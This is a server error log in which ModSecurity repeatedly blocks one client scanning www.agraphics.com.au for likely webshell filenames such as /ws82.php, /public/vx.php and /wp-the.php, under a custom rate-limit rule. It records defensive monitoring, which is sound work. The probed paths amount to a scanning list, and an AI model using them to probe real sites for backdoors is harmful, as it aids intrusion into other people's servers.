[Wed Apr 15 19:23:25.347697 2026] [:error] [pid 37370:tid 37396] [client 168.63.72.46:7091] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad91LXg-gnM2Ga0cGAAJPAAAARg"]
[Wed Apr 15 19:23:25.848820 2026] [:error] [pid 37370:tid 37389] [client 168.63.72.46:7087] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad91LXg-gnM2Ga0cGAAJQgAAARE"]
[Wed Apr 15 19:23:26.351332 2026] [:error] [pid 37370:tid 37395] [client 168.63.72.46:7056] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad91Lng-gnM2Ga0cGAAJRQAAARc"]
[Wed Apr 15 19:23:26.853831 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:6977] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad91Lng-gnM2Ga0cGAAJRwAAAQk"]
[Wed Apr 15 19:23:27.361362 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:7153] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad91L35gwVEVXHfVSipxsQAAAFE"]
[Wed Apr 15 19:23:27.900429 2026] [:error] [pid 30958:tid 31033] [client 168.63.72.46:7074] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad91L8eG3wSKTO7NWFGONAAAANE"]
[Wed Apr 15 19:23:28.411749 2026] [:error] [pid 30957:tid 31011] [client 168.63.72.46:6915] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad91MH5gwVEVXHfVSipxsgAAAFY"]
[Wed Apr 15 19:23:28.927752 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:7013] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad91MBcEkLCmvF0fjDet4QAAAIs"]
[Wed Apr 15 19:23:29.433119 2026] [:error] [pid 30958:tid 31018] [client 168.63.72.46:7046] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad91MceG3wSKTO7NWFGONgAAAMI"]
[Wed Apr 15 19:23:29.962537 2026] [:error] [pid 37370:tid 37378] [client 168.63.72.46:7031] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad91MXg-gnM2Ga0cGAAJSwAAAQY"]
[Wed Apr 15 19:23:30.462204 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:7121] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad91Mng-gnM2Ga0cGAAJTAAAAQo"]
[Wed Apr 15 19:23:31.002324 2026] [:error] [pid 37370:tid 37389] [client 168.63.72.46:7047] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad91M3g-gnM2Ga0cGAAJTgAAARE"]
[Wed Apr 15 19:23:31.505710 2026] [:error] [pid 30957:tid 31012] [client 168.63.72.46:7116] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad91M35gwVEVXHfVSipxuAAAAFc"]
[Wed Apr 15 19:23:32.038307 2026] [:error] [pid 37370:tid 37387] [client 168.63.72.46:7065] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad91NHg-gnM2Ga0cGAAJUwAAAQ8"]
[Wed Apr 15 19:23:32.551101 2026] [:error] [pid 37370:tid 37393] [client 168.63.72.46:7012] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad91NHg-gnM2Ga0cGAAJVgAAARU"]
[Wed Apr 15 19:23:33.083981 2026] [:error] [pid 37370:tid 37395] [client 168.63.72.46:7078] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad91NXg-gnM2Ga0cGAAJWQAAARc"]
[Wed Apr 15 19:23:33.582792 2026] [:error] [pid 31053:tid 31057] [client 168.63.72.46:7075] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad91NRcEkLCmvF0fjDet5wAAAIE"]
[Wed Apr 15 19:23:34.117840 2026] [:error] [pid 31053:tid 31076] [client 168.63.72.46:7092] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad91NhcEkLCmvF0fjDet6wAAAJQ"]
[Wed Apr 15 19:23:34.623747 2026] [:error] [pid 31053:tid 31068] [client 168.63.72.46:7154] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad91NhcEkLCmvF0fjDet8QAAAIw"]
[Wed Apr 15 19:23:35.122505 2026] [:error] [pid 30958:tid 31016] [client 168.63.72.46:7140] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad91N8eG3wSKTO7NWFGOSQAAAMA"]
[Wed Apr 15 19:23:35.646167 2026] [:error] [pid 37370:tid 37393] [client 168.63.72.46:7080] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad91N3g-gnM2Ga0cGAAJgQAAARU"]
[Wed Apr 15 19:23:36.216249 2026] [:error] [pid 37370:tid 37372] [client 168.63.72.46:7150] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad91OHg-gnM2Ga0cGAAJjAAAAQA"]
[Wed Apr 15 19:23:36.724280 2026] [:error] [pid 37370:tid 37386] [client 168.63.72.46:6989] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad91OHg-gnM2Ga0cGAAJmgAAAQ4"]
[Wed Apr 15 19:23:37.510675 2026] [proxy_fcgi:error] [pid 30956:tid 30963] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:38.019410 2026] [proxy_fcgi:error] [pid 30956:tid 30983] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:38.292930 2026] [proxy_fcgi:error] [pid 30956:tid 30977] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:38.546047 2026] [proxy_fcgi:error] [pid 30956:tid 30962] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:38.799770 2026] [proxy_fcgi:error] [pid 30956:tid 30970] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:40.367721 2026] [proxy_fcgi:error] [pid 30956:tid 30968] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:40.621461 2026] [proxy_fcgi:error] [pid 30956:tid 30979] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:40.876087 2026] [proxy_fcgi:error] [pid 30956:tid 30972] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:41.139361 2026] [proxy_fcgi:error] [pid 30956:tid 30960] [client 168.63.72.46:6930] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:23:41.405727 2026] [:error] [pid 30956:tid 30976] [client 168.63.72.46:6930] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad91PUBGUpjaWntNYq1hqgAAABA"]
[Wed Apr 15 19:23:41.909723 2026] [:error] [pid 31053:tid 31063] [client 168.63.72.46:7061] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad91PRcEkLCmvF0fjDeuEgAAAIc"]
[Wed Apr 15 19:23:42.447019 2026] [:error] [pid 37370:tid 37384] [client 168.63.72.46:7077] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad91Png-gnM2Ga0cGAAJygAAAQw"]
[Wed Apr 15 19:23:42.953516 2026] [:error] [pid 30957:tid 30990] [client 168.63.72.46:6994] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad91Pn5gwVEVXHfVSipxvAAAAEE"]
[Wed Apr 15 19:23:43.476959 2026] [:error] [pid 31053:tid 31058] [client 168.63.72.46:6991] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad91PxcEkLCmvF0fjDeuGAAAAII"]
[Wed Apr 15 19:23:43.986079 2026] [:error] [pid 30956:tid 30975] [client 168.63.72.46:7146] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad91P0BGUpjaWntNYq1hqwAAAA8"]
[Wed Apr 15 19:23:44.546369 2026] [:error] [pid 30957:tid 30989] [client 168.63.72.46:7086] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad91QH5gwVEVXHfVSipxvwAAAEA"]
[Wed Apr 15 19:23:45.050984 2026] [:error] [pid 30958:tid 31016] [client 168.63.72.46:6948] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad91QceG3wSKTO7NWFGOfAAAAMA"]
[Wed Apr 15 19:23:45.582029 2026] [:error] [pid 30956:tid 30964] [client 168.63.72.46:7160] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad91QUBGUpjaWntNYq1hrwAAAAQ"]
[Wed Apr 15 19:23:46.087009 2026] [:error] [pid 30957:tid 31004] [client 168.63.72.46:7076] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad91Qn5gwVEVXHfVSipxwwAAAE8"]
[Wed Apr 15 19:23:46.624783 2026] [:error] [pid 30956:tid 30982] [client 168.63.72.46:6993] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad91QkBGUpjaWntNYq1hsAAAABY"]
[Wed Apr 15 19:23:47.125371 2026] [:error] [pid 31053:tid 31057] [client 168.63.72.46:6996] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad91QxcEkLCmvF0fjDeuHgAAAIE"]
[Wed Apr 15 19:23:47.672083 2026] [:error] [pid 37370:tid 37396] [client 168.63.72.46:6920] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad91Q3g-gnM2Ga0cGAAJzwAAARg"]
[Wed Apr 15 19:23:48.173392 2026] [:error] [pid 37370:tid 37373] [client 168.63.72.46:6928] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad91RHg-gnM2Ga0cGAAJ0AAAAQE"]
[Wed Apr 15 19:23:48.682055 2026] [:error] [pid 30958:tid 31022] [client 168.63.72.46:7005] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad91RMeG3wSKTO7NWFGOggAAAMY"]
[Wed Apr 15 19:23:49.183784 2026] [:error] [pid 30957:tid 30997] [client 168.63.72.46:7003] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad91RX5gwVEVXHfVSipxyAAAAEg"]
[Wed Apr 15 19:23:49.688463 2026] [:error] [pid 30957:tid 31005] [client 168.63.72.46:7112] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad91RX5gwVEVXHfVSipxyQAAAFA"]
[Wed Apr 15 19:23:50.185722 2026] [:error] [pid 30956:tid 30979] [client 168.63.72.46:7026] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad91RkBGUpjaWntNYq1hugAAABM"]
[Wed Apr 15 19:23:50.698758 2026] [:error] [pid 30956:tid 30974] [client 168.63.72.46:7085] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad91RkBGUpjaWntNYq1hvgAAAA4"]
[Wed Apr 15 19:23:51.197997 2026] [:error] [pid 30956:tid 30973] [client 168.63.72.46:7068] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad91R0BGUpjaWntNYq1hvwAAAA0"]
[Wed Apr 15 19:23:51.703712 2026] [:error] [pid 30957:tid 31001] [client 168.63.72.46:7043] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad91R35gwVEVXHfVSipxzQAAAEw"]
[Wed Apr 15 19:23:52.205494 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:6918] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad91SHg-gnM2Ga0cGAAJ1gAAAQk"]
[Wed Apr 15 19:23:52.712796 2026] [:error] [pid 37370:tid 37391] [client 168.63.72.46:7100] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad91SHg-gnM2Ga0cGAAJ1wAAARM"]
[Wed Apr 15 19:23:53.211494 2026] [:error] [pid 31053:tid 31066] [client 168.63.72.46:7063] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad91SRcEkLCmvF0fjDeuJQAAAIo"]
[Wed Apr 15 19:23:53.717491 2026] [:error] [pid 31053:tid 31078] [client 168.63.72.46:6984] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad91SRcEkLCmvF0fjDeuKAAAAJY"]
[Wed Apr 15 19:23:54.216431 2026] [:error] [pid 37370:tid 37393] [client 168.63.72.46:7035] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad91Sng-gnM2Ga0cGAAJ3AAAARU"]
[Wed Apr 15 19:23:54.718132 2026] [:error] [pid 30958:tid 31021] [client 168.63.72.46:6946] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad91SseG3wSKTO7NWFGOjAAAAMU"]
[Wed Apr 15 19:23:55.230975 2026] [:error] [pid 37370:tid 37377] [client 168.63.72.46:7145] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad91S3g-gnM2Ga0cGAAJ3wAAAQU"]
[Wed Apr 15 19:23:55.735403 2026] [:error] [pid 30958:tid 31022] [client 168.63.72.46:7019] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad91S8eG3wSKTO7NWFGOjQAAAMY"]
[Wed Apr 15 19:23:56.246892 2026] [:error] [pid 37370:tid 37392] [client 168.63.72.46:7018] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad91THg-gnM2Ga0cGAAJ4AAAARQ"]
